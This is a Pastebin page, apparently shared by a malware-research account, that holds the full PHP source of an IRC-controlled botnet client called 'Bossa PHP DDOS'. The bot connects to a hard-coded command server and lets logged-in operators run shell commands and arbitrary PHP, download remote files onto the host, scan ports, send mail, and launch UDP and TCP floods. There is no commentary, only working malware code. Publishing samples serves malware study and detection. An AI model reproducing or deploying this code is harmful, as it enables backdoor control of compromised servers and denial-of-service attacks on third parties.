Advertisement
MalwareMustDie

Bossa PHP DDOS

Sep 15th, 2014
296
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 15.96 KB | None | 0 0
  1. <?
  2.  
  3. set_time_limit(0);
  4. error_reporting(0);
  5.  
  6. class pBot
  7. {
  8.     var $config = array("server" => "irc.dreamboxdb.com", "port" => 53, "pass" => "gimp", //password nya mas
  9.         "prefix" => "SHIT|", "maxrand" => 8, "chan" => "#slap", "key" => "fuck", //senha do canal
  10.         "modes" => "-x", "password" => "gimp", //senha do bot
  11.         "trigger" => ".", "hostauth" => "*" // * for any hostname
  12.         );
  13.     var $users = array();
  14.     function start()
  15.     {
  16.         if (!($this->conn = fsockopen($this->config['server'], $this->config['port'], $e, $s, 30)))
  17.             $this->start();
  18.         $ident = "dupek";
  19.         $alph  = range("a", "z");
  20.         for ($i = 0; $i < $this->config['maxrand']; $i++)
  21.             $ident .= $alph[rand(0, 25)];
  22.         if (strlen($this->config['pass']) > 0)
  23.             $this->send("PASS " . $this->config['pass']);
  24.         $this->send("USER $ident 127.0.0.1 localhost :$ident");
  25.         $this->set_nick();
  26.         $this->main();
  27.     }
  28.     function main()
  29.     {
  30.         while (!feof($this->conn)) {
  31.             $this->buf = trim(fgets($this->conn, 512));
  32.             $cmd       = explode(" ", $this->buf);
  33.             if (substr($this->buf, 0, 6) == "PING :") {
  34.                 $this->send("PONG :" . substr($this->buf, 6));
  35.             }
  36.             if (isset($cmd[1]) && $cmd[1] == "001") {
  37.                 $this->send("MODE " . $this->nick . " " . $this->config['modes']);
  38.                 $this->join($this->config['chan'], $this->config['key']);
  39.             }
  40.             if (isset($cmd[1]) && $cmd[1] == "433") {
  41.                 $this->set_nick();
  42.             }
  43.             if ($this->buf != $old_buf) {
  44.                 $mcmd   = array();
  45.                 $msg    = substr(strstr($this->buf, " :"), 2);
  46.                 $msgcmd = explode(" ", $msg);
  47.                 $nick   = explode("!", $cmd[0]);
  48.                 $vhost  = explode("@", $nick[1]);
  49.                 $vhost  = $vhost[1];
  50.                 $nick   = substr($nick[0], 1);
  51.                 $host   = $cmd[0];
  52.                 if ($msgcmd[0] == $this->nick) {
  53.                     for ($i = 0; $i < count($msgcmd); $i++)
  54.                         $mcmd[$i] = $msgcmd[$i + 1];
  55.                 } else {
  56.                     for ($i = 0; $i < count($msgcmd); $i++)
  57.                         $mcmd[$i] = $msgcmd[$i];
  58.                 }
  59.                 if (count($cmd) > 2) {
  60.                     switch ($cmd[1]) {
  61.                         case "QUIT":
  62.                             if ($this->is_logged_in($host)) {
  63.                                 $this->log_out($host);
  64.                             }
  65.                             break;
  66.                         case "PART":
  67.                             if ($this->is_logged_in($host)) {
  68.                                 $this->log_out($host);
  69.                             }
  70.                             break;
  71.                         case "PRIVMSG":
  72.                             if (!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*")) {
  73.                                 if (substr($mcmd[0], 0, 1) == ".") {
  74.                                     switch (substr($mcmd[0], 1)) {
  75.                                         case "user":
  76.                                             if ($mcmd[1] == $this->config['password']) {
  77.                                                 $this->privmsg($this->config['chan'], "[\2Auth\2]: $nick logado!");
  78.                                                 $this->log_in($host);
  79.                                             } else {
  80.                                                 $this->privmsg($this->config['chan'], "[\2Auth\2]: Senha errada! $nick");
  81.                                             }
  82.                                             break;
  83.                                     }
  84.                                 }
  85.                             } elseif ($this->is_logged_in($host)) {
  86.                                 if (substr($mcmd[0], 0, 1) == ".") {
  87.                                     switch (substr($mcmd[0], 1)) {
  88.                                         case "restart":
  89.                                             $this->send("QUIT :restart");
  90.                                             fclose($this->conn);
  91.                                             $this->start();
  92.                                             break;
  93.                                         case "mail": //mail to from subject message
  94.                                             if (count($mcmd) > 4) {
  95.                                                 $header = "From: <" . $mcmd[2] . ">";
  96.                                                 if (!mail($mcmd[1], $mcmd[3], strstr($msg, $mcmd[4]), $header)) {
  97.                                                     $this->privmsg($this->config['chan'], "[\2mail\2]: Isur00tossivel mandar
  98.  
  99. e-mail.");
  100.                                                 } else {
  101.                                                     $this->privmsg($this->config['chan'], "[\2mail\2]: Mensagem enviada para
  102.  
  103. \2" . $mcmd[1] . "\2");
  104.                                                 }
  105.                                             }
  106.                                             break;
  107.                                         case "dns":
  108.                                             if (isset($mcmd[1])) {
  109.                                                 $ip = explode(".", $mcmd[1]);
  110.                                                 if (count($ip) == 4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3])) {
  111.                                                     $this->privmsg($this->config['chan'], "[\2dns\2]: " . $mcmd[1] . " =>
  112.  
  113. " . gethostbyaddr($mcmd[1]));
  114.                                                 } else {
  115.                                                     $this->privmsg($this->config['chan'], "[\2dns\2]: " . $mcmd[1] . " =>
  116.  
  117. " . gethostbyname($mcmd[1]));
  118.                                                 }
  119.                                             }
  120.                                             break;
  121.                                         case "info":
  122.                                             $this->privmsg($this->config['chan'], "[\2Vuln!\2]:
  123.  
  124. http://" . $_SERVER['SERVER_NAME'] . "" . $_SERVER['REQUEST_URI'] . "]");
  125.                                            
  126.                                             break;
  127.                                         case "bot":
  128.                                             $this->privmsg($this->config['chan'], "[\2Bot by matapato v1.2\2]");
  129.                                             break;
  130.                                         case "cmd":
  131.                                             if (isset($mcmd[1])) {
  132.                                                 $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1);
  133.                                                 $this->privmsg($this->config['chan'], "[\2cmd\2]: $command");
  134.                                                 $pipe = popen($command, "r");
  135.                                                 while (!feof($pipe)) {
  136.                                                     $pbuf = trim(fgets($pipe, 512));
  137.                                                     if ($pbuf != NULL)
  138.                                                         $this->privmsg($this->config['chan'], " : $pbuf");
  139.                                                 }
  140.                                                 pclose($pipe);
  141.                                             }
  142.                                             break;
  143.                                         case "rndnick":
  144.                                             $this->set_nick();
  145.                                             break;
  146.                                         case "sur00t":
  147.                                             $this->send(strstr($msg, $mcmd[1]));
  148.                                             break;
  149.                                         case "php":
  150.                                             $eval = eval(substr(strstr($msg, $mcmd[1]), strlen($mcmd[1])));
  151.                                             break;
  152.                                         case "exec":
  153.                                             $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1);
  154.                                             $exec    = shell_exec($command);
  155.                                             $ret     = explode("\n", $exec);
  156.                                             $this->privmsg($this->config['chan'], "[\2exec\2]: $command");
  157.                                             for ($i = 0; $i < count($ret); $i++)
  158.                                                 if ($ret[$i] != NULL)
  159.                                                     $this->privmsg($this->config['chan'], " : " . trim($ret[$i]));
  160.                                             break;
  161.                                         case "pscan": // .pscan 127.0.0.1 6667
  162.                                             if (count($mcmd) > 2) {
  163.                                                 if (fsockopen($mcmd[1], $mcmd[2], $e, $s, 15))
  164.                                                     $this->privmsg($this->config['chan'], "[\2pscan\2]: " . $mcmd[1] . ":" . $mcmd[2] . " is
  165.  
  166. \2open\2");
  167.                                                 else
  168.                                                     $this->privmsg($this->config['chan'], "[\2pscan\2]: " . $mcmd[1] . ":" . $mcmd[2] . " is
  169.  
  170. \2closed\2");
  171.                                             }
  172.                                             break;
  173.                                         case "ud.server": // .ud.server <server> <port> [password]
  174.                                             if (count($mcmd) > 2) {
  175.                                                 $this->config['server'] = $mcmd[1];
  176.                                                 $this->config['port']   = $mcmd[2];
  177.                                                 if (isset($mcmcd[3])) {
  178.                                                     $this->config['pass'] = $mcmd[3];
  179.                                                     $this->privmsg($this->config['chan'], "[\2update\2]: Server trocado para
  180.  
  181. " . $mcmd[1] . ":" . $mcmd[2] . " Senha: " . $mcmd[3]);
  182.                                                 } else {
  183.                                                     $this->privmsg($this->config['chan'], "[\2update\2]: Server trocado para
  184.  
  185. " . $mcmd[1] . ":" . $mcmd[2]);
  186.                                                 }
  187.                                             }
  188.                                             break;
  189.                                         case "download":
  190.                                             if (count($mcmd) > 2) {
  191.                                                 if (!$fp = fopen($mcmd[2], "w")) {
  192.                                                     $this->privmsg($this->config['chan'], "[\2download\2]: Nao foi possivel fazer o
  193.  
  194. download. Permissao negada.");
  195.                                                 } else {
  196.                                                     if (!$get = file($mcmd[1])) {
  197.                                                         $this->privmsg($this->config['chan'], "[\2download\2]: Nao foi possivel fazer o
  198.  
  199. download de \2" . $mcmd[1] . "\2");
  200.                                                     } else {
  201.                                                         for ($i = 0; $i <= count($get); $i++) {
  202.                                                             fwrite($fp, $get[$i]);
  203.                                                         }
  204.                                                         $this->privmsg($this->config['chan'], "[\2download\2]: Arquivo \2" . $mcmd[1] . "\2
  205.  
  206. baixado para \2" . $mcmd[2] . "\2");
  207.                                                     }
  208.                                                     fclose($fp);
  209.                                                 }
  210.                                             }
  211.                                             break;
  212.                                         case "die":
  213.                                             $this->send("QUIT :MORRI! comando por $nick");
  214.                                             fclose($this->conn);
  215.                                             exit;
  216.                                         case "logout":
  217.                                             $this->log_out($host);
  218.                                             $this->privmsg($this->config['chan'], "[\2auth\2]: $nick deslogado!");
  219.                                             break;
  220.                                         case "udpflood":
  221.                                             if (count($mcmd) > 3) {
  222.                                                 $this->udpflood($mcmd[1], $mcmd[2], $mcmd[3]);
  223.                                             }
  224.                                             break;
  225.                                         case "tcpflood":
  226.                                             if (count($mcmd) > 5) {
  227.                                                 $this->tcpflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4], $mcmd[5]);
  228.                                             }
  229.                                             break;
  230.                                     }
  231.                                 }
  232.                             }
  233.                             break;
  234.                     }
  235.                 }
  236.             }
  237.             $old_buf = $this->buf;
  238.         }
  239.         $this->start();
  240.     }
  241.     function send($msg)
  242.     {
  243.         fwrite($this->conn, "$msg\r\n");
  244.        
  245.     }
  246.     function join($chan, $key = NULL)
  247.     {
  248.         $this->send("JOIN $chan $key");
  249.     }
  250.     function privmsg($to, $msg)
  251.     {
  252.         $this->send("PRIVMSG $to :$msg");
  253.     }
  254.     function is_logged_in($host)
  255.     {
  256.         if (isset($this->users[$host]))
  257.             return 1;
  258.         else
  259.             return 0;
  260.     }
  261.     function log_in($host)
  262.     {
  263.         $this->users[$host] = true;
  264.     }
  265.     function log_out($host)
  266.     {
  267.         unset($this->users[$host]);
  268.     }
  269.     function set_nick()
  270.     {
  271.         if (isset($_SERVER['SERVER_SOFTWARE'])) {
  272.             if (strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "apache"))
  273.                 $this->nick = "";
  274.         }
  275.         $this->nick .= $this->config['prefix'];
  276.         for ($i = 0; $i < $this->config['maxrand']; $i++)
  277.             $this->nick .= mt_rand(0, 9);
  278.         $this->send("NICK " . $this->nick);
  279.     }
  280.     function udpflood($host, $packetsize, $time)
  281.     {
  282.         $this->privmsg($this->config['chan'], "[\2UdpFlood Started!\2]");
  283.         $packet = "";
  284.         for ($i = 0; $i < $packetsize; $i++) {
  285.             $packet .= chr(mt_rand(1, 256));
  286.         }
  287.         $timei = time();
  288.         $i     = 0;
  289.         while (time() - $timei < $time) {
  290.             $fp = fsockopen("udp://" . $host, mt_rand(0, 6000), $e, $s, 5);
  291.             fwrite($fp, $packet);
  292.             fclose($fp);
  293.             $i++;
  294.         }
  295.         $env = $i * $packetsize;
  296.         $env = $env / 1048576;
  297.         $vel = $env / $time;
  298.         $vel = round($vel);
  299.         $env = round($env);
  300.         $this->privmsg($this->config['chan'], "[\2UdpFlood Finished!\2]: $env MB
  301.  
  302. enviados / Media: $vel MB/s ");
  303.     }
  304.     function tcpflood($host, $packets, $packetsize, $port, $delay)
  305.     {
  306.         $this->privmsg($this->config['chan'], "[\2TcpFlood Started!\2]");
  307.         $packet = "";
  308.         for ($i = 0; $i < $packetsize; $i++)
  309.             $packet .= chr(mt_rand(1, 256));
  310.         for ($i = 0; $i < $packets; $i++) {
  311.             if (!$fp = fsockopen("tcp://" . $host, $port, $e, $s, 5)) {
  312.                 $this->privmsg($this->config['chan'], "[\2TcpFlood\2]: Error: <$e>");
  313.                 return 0;
  314.             } else {
  315.                 fwrite($fp, $packet);
  316.                 fclose($fp);
  317.             }
  318.             sleep($delay);
  319.         }
  320.         $this->privmsg($this->config['chan'], "[\2TcpFlood Finished!\2]: Config -
  321.  
  322. $packets pacotes para $host:$port.");
  323.     }
  324. }
  325.  
  326. $bot = new pBot;
  327. $bot->start();
  328.  
  329. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement